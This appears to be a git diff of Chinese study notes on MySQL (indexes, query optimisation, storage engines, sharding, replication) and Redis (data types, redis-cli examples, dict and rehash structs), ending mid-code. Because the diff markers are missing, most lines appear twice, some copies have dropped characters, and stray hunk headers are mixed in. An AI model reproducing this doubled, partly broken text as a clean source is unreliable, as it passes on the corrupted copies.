- 大大减少了服务器需要扫描的数据行数。
- 大大减少了服务器需要扫描的数据行数。
- 帮助服务器避免进行排序和分组以及避免创建临时表B+Tree 索引是有序的可以用于 ORDER BY  GROUP BY 操作。临时表主要是在排序和分组过程中创建,因为不需要排序和分组,也就不需要创建临时表)。
- 帮助服务器避免进行排序和分组以及避免创建临时表B+Tree 索引是有序的,可以用于 ORDER BY 和 GROUP BY 操作。临时表主要是在排序和分组过程中创建,因为不需要排序和分组,也就不需要创建临时表)。
- 将随机 I/O 变为顺序 I/OB+Tree 索引是有序的,会将相邻的数据都存储在一起)。
- 将随机 I/O 变为顺序 I/OB+Tree 索引是有序的,会将相邻的数据都存储在一起)。
## 索引的使用条件
## 索引的使用条件
- 对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效;
- 对于非常小的表、大部分情况下简单的全表扫描比建立索引更高效;
- 对于中到大型的表,索引就非常有效;
- 对于中到大型的表,索引就非常有效;
- 但是对于特大型的表,建立和维护索引的代价将会随之增长。这种情况下,需要用到一种技术可以直接区分出需要查询的一组数据,而不是一条记录一条记录地匹配,例如可以使用分区技术。
- 但是对于特大型的表,建立和维护索引的代价将会随之增长。这种情况下,需要用到一种技术可以直接区分出需要查询的一组数据,而不是一条记录一条记录地匹配,例如可以使用分区技术。
# 二、查询性能优化
# 二、查询性能优化
## 使用 Explain 进行分析
## 使用 Explain 进行分析
Explain 用来分析 SELECT 查询语句开发人员可以通过分析 Explain 结果来优化查询语句。
Explain 用来分析 SELECT 查询语句,开发人员可以通过分析 Explain 结果来优化查询语句。
比较重要的字段有:
- select_type : 查询类型,有简单查询、联合查询、子查询等
- key : 使用的索引
- rows : 扫描的行数
- select_type : 查询类型,有简单查询、联合查询、子查询等
- key : 使用的索引
- rows : 扫描的行数
## 优化数据访问
## 优化数据访问
### 1. 减少请求的数据量
### 1. 减少请求的数据量
- 只返回必要的列最好不要使用 SELECT * 语句。
- 只返回必要的行使用 LIMIT 语句来限制返回的数据。
- 缓存重复查询的数据:使用缓存可以避免在数据库中进行查询,特别在要查询的数据经常被重复查询时,缓存带来的查询性能提升将会是非常明显的。
- 只返回必要的列:最好不要使用 SELECT * 语句。
- 只返回必要的行:使用 LIMIT 语句来限制返回的数据。
- 缓存重复查询的数据:使用缓存可以避免在数据库中进行查询,特别在要查询的数据经常被重复查询时,缓存带来的查询性能提升将会是非常明显的。
### 2. 减少服务器端扫描的行数
### 2. 减少服务器端扫描的行数
最有效的方式是使用索引来覆盖查询。
## 重构查询方式
## 重构查询方式
### 1. 切分大查询
### 1. 切分大查询
一个大查询如果一次性执行的话,可能一次锁住很多数据、占满整个事务日志、耗尽系统资源、阻塞很多小的但重要的查询。
```sql
DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH);
```
```sql
rows_affected = 0
do {
    rows_affected = do_query(
    "DELETE FROM messages WHERE create  < DATE_SUB(NOW(), INTERVAL 3 MONTH) LIMIT 10000")
} while rows_affected > 0
rows_affected = 0
do {
rows_affected = do_query(
"DELETE FROM messages WHERE create < DATE_SUB(NOW(), INTERVAL 3 MONTH) LIMIT 10000")
} while rows_affected > 0
```
### 2. 分解大连接查询
### 2. 分解大连接查询
将一个大连接查询分解成对每一个表进行一次单表查询,然后在应用程序中进行关联,这样做的好处有:
- 让缓存更高效。对于连接查询,如果其中一个表发生变化,那么整个查询缓存就无法使用。而分解后的多个查询,即使其中一个表发生变化,对其它表的查询缓存依然可以使用。
- 分解成多个单表查询,这些单表查询的缓存结果更可能被其它查询使用到,从而减少冗余记录的查询。
- 减少锁竞争;
- 在应用层进行连接,可以更容易对数据库进行拆分,从而更容易做到高性能和可伸缩。
- 查询本身效率也可能会有所提升。例如下面的例子中使用 IN() 代替连接查询可以让 MySQL 按照 ID 顺序进行查询,这可能比随机的连接要更高效。
- 让缓存更高效。对于连接查询,如果其中一个表发生变化,那么整个查询缓存就无法使用。而分解后的多个查询,即使其中一个表发生变化,对其它表的查询缓存依然可以使用。
- 分解成多个单表查询,这些单表查询的缓存结果更可能被其它查询使用到,从而减少冗余记录的查询。
- 减少锁竞争;
- 在应用层进行连接,可以更容易对数据库进行拆分,从而更容易做到高性能和可伸缩。
- 查询本身效率也可能会有所提升。例如下面的例子中,使用 IN() 代替连接查询,可以让 MySQL 按照 ID 顺序进行查询,这可能比随机的连接要更高效。
```sql
SELECT * FROM tab
JOIN tag_post ON tag_post.tag_id=tag.id
JOIN post ON tag_post.post_id=post.id
WHERE tag.tag='mysql';
SELECT * FROM tab
JOIN tag_post ON tag_post.tag_id=tag.id
JOIN post ON tag_post.post_id=post.id
WHERE tag.tag='mysql';
```
```sql
SELECT * FROM tag WHERE tag='mysql';
SELECT * FROM tag_post WHERE tag_id=1234;
SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
SELECT * FROM tag WHERE tag='mysql';
SELECT * FROM tag_post WHERE tag_id=1234;
SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
```
# 三、存储引擎
# 三、存储引擎
## InnoDB
## InnoDB
 MySQL 默认的事务型存储引擎,只有在需要它不支持的特性时,才考虑使用其它存储引擎。
MySQL 默认的事务型存储引擎,只有在需要它不支持的特性时,才考虑使用其它存储引擎。
实现了四个标准的隔离级别默认级别是可重复读REPEATABLE READ。在可重复读隔离级别下通过多版本并发控制MVCC+ 间隙锁Next-Key Locking防止幻影读。
实现了四个标准的隔离级别默认级别是可重复读REPEATABLE READ。在可重复读隔离级别下通过多版本并发控制MVCC+ 间隙锁Next-Key Locking防止幻影读。
主索引是聚簇索引,在索引中保存了数据,从而避免直接读取磁盘,因此对查询性能有很大的提升。
@ -236,7 +269,7 @@ SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
支持真正的在线热备份。其它存储引擎不支持在线热备份,要获取一致性视图需要停止对所有表的写入,而在读写混合场景中,停止写入可能也意味着停止读取。
## MyISAM
## MyISAM
设计简单,数据以紧密格式存储。对于只读数据,或者表比较小、可以容忍修复操作,则依然可以使用它。
@ -244,156 +277,148 @@ SELECT * FROM post WHERE post.id IN (123,456,567,9098,8904);
不支持事务。
不支持行级锁只能对整张表加锁读取时会对需要读到的所有表加共享锁写入时则对表加排它锁。但在表有读取操作的同时也可以往表中插入新的记录这被称为并发插入CONCURRENT INSERT
不支持行级锁只能对整张表加锁读取时会对需要读到的所有表加共享锁写入时则对表加排它锁。但在表有读取操作的同时也可以往表中插入新的记录这被称为并发插入CONCURRENT INSERT
可以手工或者自动执行检查和修复操作,但是和事务恢复以及崩溃恢复不同,可能导致一些数据丢失,而且修复操作是非常慢的。
如果指定了 DELAY_KEY_WRITE 选项,在每次修改执行完成时,不会立即将修改的索引数据写入磁盘,而是会写到内存中的键缓冲区,只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能,但是在数据库或者主机崩溃时会造成索引损坏,需要执行修复操作。
如果指定了 DELAY_KEY_WRITE 选项,在每次修改执行完成时,不会立即将修改的索引数据写入磁盘,而是会写到内存中的键缓冲区,只有在清理键缓冲区或者关闭表的时候才会将对应的索引块写入磁盘。这种方式可以极大的提升写入性能,但是在数据库或者主机崩溃时会造成索引损坏,需要执行修复操作。
## 比较
## 比较
- 事务InnoDB 是事务型的可以使用 Commit  Rollback 语句。
- 事务InnoDB 是事务型的,可以使用 Commit 和 Rollback 语句。
- 并发MyISAM 只支持表级锁 InnoDB 还支持行级锁。
- 并发MyISAM 只支持表级锁,而 InnoDB 还支持行级锁。
- 外键InnoDB 支持外键。
- 外键InnoDB 支持外键。
- 备份InnoDB 支持在线热备份。
- 备份InnoDB 支持在线热备份。
- 崩溃恢复MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多,而且恢复的速度也更慢。
- 崩溃恢复MyISAM 崩溃后发生损坏的概率比 InnoDB 高很多,而且恢复的速度也更慢。
- 其它特性MyISAM 支持压缩表和空间数据索引。
- 其它特性MyISAM 支持压缩表和空间数据索引。
# 四、数据类型
# 四、数据类型
## 整型
## 整型
TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间,一般情况下越小的列越好。
TINYINT, SMALLINT, MEDIUMINT, INT, BIGINT 分别使用 8, 16, 24, 32, 64 位存储空间,一般情况下越小的列越好。
INT(11) 中的数字只是规定了交互工具显示字符的个数,对于存储和计算来说是没有意义的。
INT(11) 中的数字只是规定了交互工具显示字符的个数,对于存储和计算来说是没有意义的。
## 浮点数
## 浮点数
FLOAT  DOUBLE 为浮点类型DECIMAL 为高精度小数类型。CPU 原生支持浮点运算但是不支持 DECIMAl 类型的计算因此 DECIMAL 的计算比浮点类型需要更高的代价。
FLOAT 和 DOUBLE 为浮点类型DECIMAL 为高精度小数类型。CPU 原生支持浮点运算,但是不支持 DECIMAl 类型的计算,因此 DECIMAL 的计算比浮点类型需要更高的代价。
FLOAT、DOUBLE  DECIMAL 都可以指定列宽例如 DECIMAL(18, 9) 表示总共 18  9 位存储小数部分剩下 9 位存储整数部分。
FLOAT、DOUBLE 和 DECIMAL 都可以指定列宽,例如 DECIMAL(18, 9) 表示总共 18 位,取 9 位存储小数部分,剩下 9 位存储整数部分。
## 字符串
## 字符串
主要有 CHAR  VARCHAR 两种类型,一种是定长的,一种是变长的。
主要有 CHAR 和 VARCHAR 两种类型,一种是定长的,一种是变长的。
VARCHAR 这种变长类型能够节省空间因为只需要存储必要的内容。但是在执行 UPDATE 时可能会使行变得比原来长当超出一个页所能容纳的大小时就要执行额外的操作。MyISAM 会将行拆成不同的片段存储 InnoDB 则需要分裂页来使行放进页内。
VARCHAR 这种变长类型能够节省空间,因为只需要存储必要的内容。但是在执行 UPDATE 时可能会使行变得比原来长当超出一个页所能容纳的大小时就要执行额外的操作。MyISAM 会将行拆成不同的片段存储,而 InnoDB 则需要分裂页来使行放进页内。
在进行存储和检索时,会保留 VARCHAR 末尾的空格而会删除 CHAR 末尾的空格。
在进行存储和检索时,会保留 VARCHAR 末尾的空格,而会删除 CHAR 末尾的空格。
## 时间和日期
## 时间和日期
MySQL 提供了两种相似的日期时间类型DATETIME  TIMESTAMP。
MySQL 提供了两种相似的日期时间类型DATETIME 和 TIMESTAMP。
### 1. DATETIME
### 1. DATETIME
能够保存从 1001 年到 9999 年的日期和时间精度为秒使用 8 字节的存储空间。
能够保存从 1001 年到 9999 年的日期和时间,精度为秒,使用 8 字节的存储空间。
它与时区无关。
默认情况下MySQL 以一种可排序的、无歧义的格式显示 DATETIME 例如“2008-01-16 22:37:08”这是 ANSI 标准定义的日期和时间表示方法。
默认情况下MySQL 以一种可排序的、无歧义的格式显示 DATETIME 值例如“2008-01-16 22:37:08”这是 ANSI 标准定义的日期和时间表示方法。
### 2. TIMESTAMP
### 2. TIMESTAMP
 UNIX 时间戳相同保存从 1970  1  1 日午夜格林威治时间以来的秒数使用 4 个字节只能表示从 1970 年到 2038 年。
UNIX 时间戳相同,保存从 1970 年 1 月 1 日午夜(格林威治时间)以来的秒数,使用 4 个字节,只能表示从 1970 年到 2038 年。
它和时区有关,也就是说一个时间戳在不同的时区所代表的具体时间是不同的。
MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期并提供了 UNIX_TIMESTAMP() 函数把日期转换为 UNIX 时间戳。
MySQL 提供了 FROM_UNIXTIME() 函数把 UNIX 时间戳转换为日期,并提供了 UNIX_TIMESTAMP() 函数把日期转换为 UNIX 时间戳。
默认情况下,如果插入时没有指定 TIMESTAMP 列的值,会将这个值设置为当前时间。
默认情况下,如果插入时没有指定 TIMESTAMP 列的值,会将这个值设置为当前时间。
应该尽量使用 TIMESTAMP因为它比 DATETIME 空间效率更高。
应该尽量使用 TIMESTAMP因为它比 DATETIME 空间效率更高。
# 五、切分
# 五、切分
## 水平切分
## 水平切分
水平切分又称为 Sharding它是将同一个表中的记录拆分到多个结构相同的表中。
水平切分又称为 Sharding它是将同一个表中的记录拆分到多个结构相同的表中。
当一个表的数据不断增多时Sharding 是必然的选择,它可以将数据分布到集群的不同节点上,从而缓存单个数据库的压力。
当一个表的数据不断增多时Sharding 是必然的选择,它可以将数据分布到集群的不同节点上,从而缓存单个数据库的压力。
![](index_files/63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg)
<div align="center"> <img src="pics/63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg"/> </div><br>
## 垂直切分
## 垂直切分
垂直切分是将一张表按列切分成多个表,通常是按照列的关系密集程度进行切分,也可以利用垂直切分将经常被使用的列和不经常被使用的列切分到不同的表中。
在数据库的层面使用垂直切分将按数据库中表的密集程度部署到不同的库中,例如将原来的电商数据库垂直切分成商品数据库、用户数据库等。
![](index_files/e130e5b8-b19a-4f1e-b860-223040525cf6.jpg)
<div align="center"> <img src="pics/e130e5b8-b19a-4f1e-b860-223040525cf6.jpg"/> </div><br>
## Sharding 策略
## Sharding 策略
- 哈希取模hash(key) % N
- 范围可以是 ID 范围也可以是时间范围;
- 映射表:使用单独的一个数据库来存储映射关系。
- 哈希取模hash(key) % N
- 范围:可以是 ID 范围也可以是时间范围;
- 映射表:使用单独的一个数据库来存储映射关系。
## Sharding 存在的问题
## Sharding 存在的问题
### 1. 事务问题
### 1. 事务问题
使用分布式事务来解决,比如 XA 接口。
使用分布式事务来解决,比如 XA 接口。
### 2. 连接
### 2. 连接
可以将原来的连接分解成多个单表查询,然后在用户程序中进行连接。
### 3. ID 唯一性
### 3. ID 唯一性
- 使用全局唯一 IDGUID
- 为每个分片指定一个 ID 范围
- 分布式 ID 生成器 (如 Twitter  Snowflake 算法)
- 使用全局唯一 IDGUID
- 为每个分片指定一个 ID 范围
- 分布式 ID 生成器 (如 Twitter 的 Snowflake 算法)
# 六、复制
# 六、复制
## 主从复制
## 主从复制
主要涉及三个线程binlog 线程、I/O 线程和 SQL 线程。
主要涉及三个线程binlog 线程、I/O 线程和 SQL 线程。
- **binlog 线程**负责将主服务器上的数据更改写入二进制日志Binary log中。
- **I/O 线程**负责从主服务器上读取二进制日志并写入从服务器的重放日志Replay log中。
- **SQL 线程**负责读取重放日志并重放其中的 SQL 语句。
- **binlog 线程** 负责将主服务器上的数据更改写入二进制日志Binary log中。
- **I/O 线程** 负责从主服务器上读取二进制日志并写入从服务器的重放日志Replay log中。
- **SQL 线程** :负责读取重放日志并重放其中的 SQL 语句。
![](index_files/master-slave.png)
<div align="center"> <img src="pics/master-slave.png"/> </div><br>
## 读写分离
## 读写分离
主服务器处理写操作以及实时性要求比较高的读操作,而从服务器处理读操作。
读写分离能提高性能的原因在于:
- 主从服务器负责各自的读和写,极大程度缓解了锁的争用;
- 从服务器可以使用 MyISAM提升查询性能以及节约系统开销
- 增加冗余,提高可用性。
- 主从服务器负责各自的读和写,极大程度缓解了锁的争用;
- 从服务器可以使用 MyISAM提升查询性能以及节约系统开销
- 增加冗余,提高可用性。
读写分离常用代理方式来实现,代理服务器接收应用层传来的读写请求,然后决定转发到哪个服务器。
![](index_files/master-slave-proxy.png)
<div align="center"> <img src="pics/master-slave-proxy.png"/> </div><br>
# 参考资料
# 参考资料
- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
- 姜承尧. MySQL 技术内幕: InnoDB 存储引擎 [M]. 机械工业出版社, 2011.
- [20+  MySQL 性能优化的最佳经验](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
- [服务端指南 数据存储篇 | MySQL09 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL09 分库与分表带来的分布式困境与应对之策")
- [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases)
- [SQL Azure Federation  Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.")
- [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
- [MySQL 性能优化神器 Explain 使用分析](https://segmentfault.com/a/1190000008131735)
- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
- [大众点评订单系统分库分表实践](https://tech.meituan.com/dianping_order_db_sharding.html)
- [B + 树](https://zh.wikipedia.org/wiki/B%2B%E6%A0%91)
---bottom---CyC---
![](index_files/d5ce91a7-45f9-4560-9917-0dccd4900826.png)
![](index_files/0f6f92e8-f15e-4c09-8562-b9c6114df9ce.png)
![](index_files/1e74234e-d70b-411c-9333-226bcbb9c8f0.png)
![](index_files/63c2909f-0c5f-496f-9fe5-ee9176b31aba.jpg)
![](index_files/e130e5b8-b19a-4f1e-b860-223040525cf6.jpg)
![](index_files/master-slave.png)
![](index_files/master-slave-proxy.png)
- BaronScbwartz, PeterZaitsev, VadimTkacbenko, 等. 高性能 MySQL[M]. 电子工业出版社, 2013.
- 姜承尧. MySQL 技术内幕: InnoDB 存储引擎 [M]. 机械工业出版社, 2011.
- [20+ 条 MySQL 性能优化的最佳经验](https://www.jfox.info/20-tiao-mysql-xing-nen-you-hua-de-zui-jia-jing-yan.html)
- [服务端指南 数据存储篇 | MySQL09 分库与分表带来的分布式困境与应对之策](http://blog.720ui.com/2017/mysql_core_09_multi_db_table2/ "服务端指南 数据存储篇 | MySQL09 分库与分表带来的分布式困境与应对之策")
- [How to create unique row ID in sharded databases?](https://stackoverflow.com/questions/788829/how-to-create-unique-row-id-in-sharded-databases)
- [SQL Azure Federation Introduction](http://geekswithblogs.net/shaunxu/archive/2012/01/07/sql-azure-federation-ndash-introduction.aspx "Title of this entry.")
- [MySQL 索引背后的数据结构及算法原理](http://blog.codinglabs.org/articles/theory-of-mysql-index.html)
- [MySQL 性能优化神器 Explain 使用分析](https://segmentfault.com/a/1190000008131735)
- [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
- [大众点评订单系统分库分表实践](https://tech.meituan.com/dianping_order_db_sharding.html)
- [B + 树](https://zh.wikipedia.org/wiki/B%2B%E6%A0%91)

View File

@ -1,385 +1,433 @@
# 一、概述
[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
<!-- GFM-TOC -->
* [一、概述](#一概述)
* [二、数据类型](#二数据类型)
* [STRING](#string)
* [LIST](#list)
* [SET](#set)
* [HASH](#hash)
* [ZSET](#zset)
* [三、数据结构](#三数据结构)
* [字典](#字典)
* [跳跃表](#跳跃表)
* [四、使用场景](#四使用场景)
* [计数器](#计数器)
* [缓存](#缓存)
* [查找表](#查找表)
* [消息队列](#消息队列)
* [会话缓存](#会话缓存)
* [分布式锁实现](#分布式锁实现)
* [其它](#其它)
* [五、Redis 与 Memcached](#五redis-与-memcached)
* [数据类型](#数据类型)
* [数据持久化](#数据持久化)
* [分布式](#分布式)
* [内存管理机制](#内存管理机制)
* [六、键的过期时间](#六键的过期时间)
* [七、数据淘汰策略](#七数据淘汰策略)
* [八、持久化](#八持久化)
* [RDB 持久化](#rdb-持久化)
* [AOF 持久化](#aof-持久化)
* [九、事务](#九事务)
* [十、事件](#十事件)
* [文件事件](#文件事件)
* [时间事件](#时间事件)
* [事件的调度与执行](#事件的调度与执行)
* [十一、复制](#十一复制)
* [连接过程](#连接过程)
* [主从链](#主从链)
* [十二、Sentinel](#十二sentinel)
* [十三、分片](#十三分片)
* [十四、一个简单的论坛系统分析](#十四一个简单的论坛系统分析)
* [文章信息](#文章信息)
* [点赞功能](#点赞功能)
* [对文章进行排序](#对文章进行排序)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
Redis 是速度非常快的非关系型NoSQL内存键值数据库可以存储键和五种不同类型的值之间的映射。
# 一、概述
Redis 是速度非常快的非关系型NoSQL内存键值数据库可以存储键和五种不同类型的值之间的映射。
键的类型只能为字符串,值支持五种数据类型:字符串、列表、集合、散列表、有序集合。
Redis 支持很多特性例如将内存中的数据持久化到硬盘中使用复制来扩展读性能使用分片来扩展写性能。
Redis 支持很多特性,例如将内存中的数据持久化到硬盘中,使用复制来扩展读性能,使用分片来扩展写性能。
# 二、数据类型
# 二、数据类型
| 数据类型 | 可以存储的值 | 操作 |
| :--: | :--: | :--: |
| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
| LIST | 列表 | 从两端压入或者弹出元素 </br> 对单个或者多个元素</br> 进行修剪,只保留一个范围内的元素 |
| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
| 数据类型 | 可以存储的值 | 操作 |
| :--: | :--: | :--: |
| STRING | 字符串、整数或者浮点数 | 对整个字符串或者字符串的其中一部分执行操作</br> 对整数和浮点数执行自增或者自减操作 |
| LIST | 列表 | 从两端压入或者弹出元素 </br> 对单个或者多个元素</br> 进行修剪,只保留一个范围内的元素 |
| SET | 无序集合 | 添加、获取、移除单个元素</br> 检查一个元素是否存在于集合中</br> 计算交集、并集、差集</br> 从集合里面随机获取元素 |
| HASH | 包含键值对的无序散列表 | 添加、获取、移除单个键值对</br> 获取所有键值对</br> 检查某个键是否存在|
| ZSET | 有序集合 | 添加、获取、删除元素</br> 根据分值范围或者成员来获取元素</br> 计算一个键的排名 |
> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
> [What Redis data structures look like](https://redislabs.com/ebook/part-1-getting-started/chapter-1-getting-to-know-redis/1-2-what-redis-data-structures-look-like/)
## STRING
## STRING
<img src="index_files/6019b2db-bc3e-4408-b6d8-96025f4481d6.png" width="400"/>
<div align="center"> <img src="pics/6019b2db-bc3e-4408-b6d8-96025f4481d6.png" width="400"/> </div><br>
```html
> set hello world
> set hello world
OK
> get hello
> get hello
"world"
> del hello
(integer) 1
> get hello
> del hello
(integer) 1
> get hello
(nil)
```
## LIST
## LIST
<img src="index_files/fb327611-7e2b-4f2f-9f5b-38592d408f07.png" width="400"/>
<div align="center"> <img src="pics/fb327611-7e2b-4f2f-9f5b-38592d408f07.png" width="400"/> </div><br>
```html
> rpush list-key item
(integer) 1
> rpush list-key item2
(integer) 2
> rpush list-key item
(integer) 3
> rpush list-key item
(integer) 1
> rpush list-key item2
(integer) 2
> rpush list-key item
(integer) 3
> lrange list-key 0 -1
1) "item"
2) "item2"
3) "item"
> lrange list-key 0 -1
1) "item"
2) "item2"
3) "item"
> lindex list-key 1
> lindex list-key 1
"item2"
> lpop list-key
> lpop list-key
"item"
> lrange list-key 0 -1
1) "item2"
2) "item"
> lrange list-key 0 -1
1) "item2"
2) "item"
```
## SET
## SET
<img src="index_files/cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png" width="400"/>
<div align="center"> <img src="pics/cd5fbcff-3f35-43a6-8ffa-082a93ce0f0e.png" width="400"/> </div><br>
```html
> sadd set-key item
(integer) 1
> sadd set-key item2
(integer) 1
> sadd set-key item3
(integer) 1
> sadd set-key item
(integer) 0
> sadd set-key item
(integer) 1
> sadd set-key item2
(integer) 1
> sadd set-key item3
(integer) 1
> sadd set-key item
(integer) 0
> smembers set-key
1) "item"
2) "item2"
3) "item3"
> smembers set-key
1) "item"
2) "item2"
3) "item3"
> sismember set-key item4
(integer) 0
> sismember set-key item
(integer) 1
> sismember set-key item4
(integer) 0
> sismember set-key item
(integer) 1
> srem set-key item2
(integer) 1
> srem set-key item2
(integer) 0
> srem set-key item2
(integer) 1
> srem set-key item2
(integer) 0
> smembers set-key
1) "item"
2) "item3"
> smembers set-key
1) "item"
2) "item3"
```
## HASH
## HASH
<img src="index_files/7bd202a7-93d4-4f3a-a878-af68ae25539a.png" width="400"/>
<div align="center"> <img src="pics/7bd202a7-93d4-4f3a-a878-af68ae25539a.png" width="400"/> </div><br>
```html
> hset hash-key sub-key1 value1
(integer) 1
> hset hash-key sub-key2 value2
(integer) 1
> hset hash-key sub-key1 value1
(integer) 0
> hset hash-key sub-key1 value1
(integer) 1
> hset hash-key sub-key2 value2
(integer) 1
> hset hash-key sub-key1 value1
(integer) 0
> hgetall hash-key
1) "sub-key1"
2) "value1"
3) "sub-key2"
4) "value2"
> hgetall hash-key
1) "sub-key1"
2) "value1"
3) "sub-key2"
4) "value2"
> hdel hash-key sub-key2
(integer) 1
> hdel hash-key sub-key2
(integer) 0
> hdel hash-key sub-key2
(integer) 1
> hdel hash-key sub-key2
(integer) 0
> hget hash-key sub-key1
> hget hash-key sub-key1
"value1"
> hgetall hash-key
1) "sub-key1"
2) "value1"
> hgetall hash-key
1) "sub-key1"
2) "value1"
```
## ZSET
## ZSET
<img src="index_files/1202b2d6-9469-4251-bd47-ca6034fb6116.png" width="400"/>
<div align="center"> <img src="pics/1202b2d6-9469-4251-bd47-ca6034fb6116.png" width="400"/> </div><br>
```html
> zadd zset-key 728 member1
(integer) 1
> zadd zset-key 982 member0
(integer) 1
> zadd zset-key 982 member0
(integer) 0
> zadd zset-key 728 member1
(integer) 1
> zadd zset-key 982 member0
(integer) 1
> zadd zset-key 982 member0
(integer) 0
> zrange zset-key 0 -1 withscores
1) "member1"
2) "728"
3) "member0"
4) "982"
> zrange zset-key 0 -1 withscores
1) "member1"
2) "728"
3) "member0"
4) "982"
> zrangebyscore zset-key 0 800 withscores
1) "member1"
2) "728"
> zrangebyscore zset-key 0 800 withscores
1) "member1"
2) "728"
> zrem zset-key member1
(integer) 1
> zrem zset-key member1
(integer) 0
> zrem zset-key member1
(integer) 1
> zrem zset-key member1
(integer) 0
> zrange zset-key 0 -1 withscores
1) "member0"
2) "982"
> zrange zset-key 0 -1 withscores
1) "member0"
2) "982"
```
# 三、数据结构
# 三、数据结构
## 字典
## 字典
dictht 是一个散列表结构,使用拉链法保存哈希冲突。
dictht 是一个散列表结构,使用拉链法保存哈希冲突。
```c
/* This is our hash table structure. Every dictionary has two of this as we
 * implement incremental rehashing, for the old to the new table. */
typedef struct dictht {
    dictEntry **table;
    unsigned long size;
    unsigned long sizemask;
    unsigned long used;
} dictht;
/* This is our hash table structure. Every dictionary has two of this as we
* implement incremental rehashing, for the old to the new table. */
typedef struct dictht {
dictEntry **table;
unsigned long size;
unsigned long sizemask;
unsigned long used;
} dictht;
```
```c
typedef struct dictEntry {
    void *key;
    union {
        void *val;
        uint64_t u64;
        int64_t s64;
        double d;
    } v;
    struct dictEntry *next;
} dictEntry;
typedef struct dictEntry {
void *key;
union {
void *val;
uint64_t u64;
int64_t s64;
double d;
} v;
struct dictEntry *next;
} dictEntry;
```
Redis 的字典 dict 中包含两个哈希表 dictht这是为了方便进行 rehash 操作。在扩容时将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面完成之后释放空间并交换两个 dictht 的角色。
Redis 的字典 dict 中包含两个哈希表 dictht这是为了方便进行 rehash 操作。在扩容时,将其中一个 dictht 上的键值对 rehash 到另一个 dictht 上面,完成之后释放空间并交换两个 dictht 的角色。
```c
typedef struct dict {
    dictType *type;
    void *privdata;
    dictht ht[2];
    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
    unsigned long iterators; /* number of iterators currently running */
} dict;
typedef struct dict {
dictType *type;
void *privdata;
dictht ht[2];
long rehashidx; /* rehashing not in progress if rehashidx == -1 */
unsigned long iterators; /* number of iterators currently running */
} dict;
```
rehash 操作不是一次性完成而是采用渐进方式这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。
rehash 操作不是一次性完成,而是采用渐进方式,这是为了避免一次性执行过多的 rehash 操作给服务器带来过大的负担。
渐进式 rehash 通过记录 dict  rehashidx 完成它从 0 开始然后每执行一次 rehash 都会递增。例如在一次 rehash 要把 dict[0] rehash  dict[1]这一次会把 dict[0]  table[rehashidx] 的键值对 rehash  dict[1] dict[0]  table[rehashidx] 指向 null并令 rehashidx++。
渐进式 rehash 通过记录 dict 的 rehashidx 完成,它从 0 开始,然后每执行一次 rehash 都会递增。例如在一次 rehash 中,要把 dict[0] rehash 到 dict[1],这一次会把 dict[0] 上 table[rehashidx] 的键值对 rehash 到 dict[1] 上dict[0] 的 table[rehashidx] 指向 null并令 rehashidx++。
 rehash 期间,每次对字典执行添加、删除、查找或者更新操作时,都会执行一次渐进式 rehash。
rehash 期间,每次对字典执行添加、删除、查找或者更新操作时,都会执行一次渐进式 rehash。
采用渐进式 rehash 会导致字典中的数据分散在两个 dictht 因此对字典的查找操作也需要到对应的 dictht 去执行。
采用渐进式 rehash 会导致字典中的数据分散在两个 dictht 上,因此对字典的查找操作也需要到对应的 dictht 去执行。
```c
/* Performs N steps of incremental rehashing. Returns 1 if there are still
 * keys to move from the old to the new hash table, otherwise 0 is returned.
 *
 * Note that a rehashing step consists in moving a bucket (that may have more
 * than one key as we use chaining) from the old to the new hash table, however
 * since part of the hash table may be composed of empty spaces, it is not
 * guaranteed that this function will rehash even a single bucket, since it
 * will visit at max N*10 empty buckets in total, otherwise the amount of
 * work it does would be unbound and the function may block for a long time. */
int dictRehash(dict *d, int n) {
    int empty_visits = n * 10; /* Max number of empty buckets to visit. */
    if (!dictIsRehashing(d)) return 0;
/* Performs N steps of incremental rehashing. Returns 1 if there are still
* keys to move from the old to the new hash table, otherwise 0 is returned.
*
* Note that a rehashing step consists in moving a bucket (that may have more
* than one key as we use chaining) from the old to the new hash table, however
* since part of the hash table may be composed of empty spaces, it is not
